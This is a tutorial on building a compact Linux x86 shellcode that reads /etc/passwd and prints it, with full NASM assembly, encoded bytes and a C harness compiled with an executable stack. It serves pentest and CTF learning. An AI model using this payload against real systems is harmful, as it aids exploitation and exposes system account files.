Shellcode - File Reader Linux x86

Learn how to develop a very small shellcode able to read the content of a file on a Linux x86 system with NASM.

Introduction

During a penetration test or a hacking competition, it is common to use already existing shellcode as the payload in the exploitation of a software vulnerability.

A file reader shellcode is generally a rather small code able to read the content of a file and to write it on the standard output. It can be useful to display the content of sensitive files such as /etc/passwd or the content of a file containing the flag during a CTF.

This shellcode development tutorial explains how to efficiently develop your own File Reader shellcode for a Linux x86 machine.

Prerequisite

To follow this tutorial, you need to run a Linux operating system. We recommend the following software and resources.
Nasm to assemble the x86 code and GCC to compile the testing software.

System Call

We are going to use system calls to requests services from operating system's kernel.
On the Linux kernel system calls are triggered by the interrupt vector 0x80 the instruction is int 0x80.

To code our File Reader shellcode we will use four different system calls :

  • 0x05 sys_open to get the file descriptor.
  • 0x03 sys_read to put the content of the file in a buffer.
  • 0x04 sys_write to write the content of the buffer on the Standard output.
  • 0x01 sys_exit to safely exit the program.

As you can see each system call is associated with a 1 byte number, it has to be set in the EAX register for x86 programs. Other registers can be used by system calls as parameters.

File Reader /etc/passwd Linux x86 - 48 bytes

The final code is only 48 bytes and NULL byte free. The goal was to create a very compact shellcode using some x86 optimizations and tricks.

global _start

section .text

_start:
  xor ecx, ecx
  mul ecx

open:
  mov al, 0x05
  push ecx
  push 0x64777373
  push 0x61702f63
  push 0x74652f2f
  mov ebx, esp
  int 0x80

read:
  xchg eax, ebx
  xchg eax, ecx
  mov al, 0x03
  mov dx, 0x0FFF
  inc edx
  int 0x80

write:
  xchg eax, edx
  mov bl, 0x01
  shr eax, 0x0A
  int 0x80

exit:
  xchg eax, ebx
  int 0x80

Clear registers

The first step in the code above is to clear EAX, ECX and EDX registers.

After xor ecx, ecx the register ECX is equal to 0x00000000. Then we are using the arithmetic instruction mul ecx, it will perform an unsigned multiplication EDX:EAX = EAX * ECX the result is stored in the register pair EDX:EAX.
This is multiplying by zero EDX:EAX = EAX * 0 then EAX and EDX are both equals to 0x00000000.

Open file

The second step is to open the file, we are going to use the sys_open system call.

This system call takes 3 arguments, the pathname on EBX, the flags on ECX and the mode on EDX.
We are pushing the path of the file we want to open on the stack then we are putting the address of the stack in EBX so it point the pathname string.

Read file

The third step is to put the content of the file in a buffer, the system call sys_read will do the job.

This system call takes 3 arguments, the file descriptor on EBX, the buffer on ECX and the bytes to read on EDX.

Write content

The fourth step is to write the content of the buffer on the Standard output, we are going to use the sys_write system call.

This system call takes 3 arguments, a file descriptor on EBX, the buffer on ECX and the bytes to read on EDX.
We are using the file descriptor 1, it is the standard output. You might want to use the file descriptor 2 to write on the standard error.

Exit program

The final step is to exit the program. It is optional, in some situations you might not want to exit. We are going to use the sys_exit system call.

This system call takes 1 argument on EBX, it's the exit code.

Testing

If you want to try the shellcode in a C program, you save the code below as test-shellcode.c and compile it with the following command.
gcc -m32 -masm=intel -nostdlib -fno-stack-protector -z execstack test-shellcode.c -o test-shellcode

unsigned char shellcode[] = \
"\x31\xC9\xF7\xE1\xB0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2F\x70"
"\x61\x68\x2F\x2F\x65\x74\x89\xE3\xCD\x80\x93\x91\xB0\x03\x66\xBA"
"\xFF\x0F\x42\xCD\x80\x92\xB3\x01\xC1\xE8\x0A\xCD\x80\x93\xCD\x80";

int _start()
{
    // modify all registers
    asm("rdtsc");
    asm("mov ebx, eax");
    asm("mov ecx, eax");
    asm("mov edx, eax");
    asm("mov esi, eax");
    asm("mov edi, eax");
    asm("mov ebp, eax");
    asm("mov ebx, eax");

    // call the shellcode
    asm("call shellcode");

    return 0;
}

Conclusion

Most of the time it is pointless to develop and optimize your own shellcode because there is probably a public and much smaller one.
But in some situations to do very specific actions on the target machine it's good to know a few tricks in assembly.

We hope you enjoy this payload development tutorial.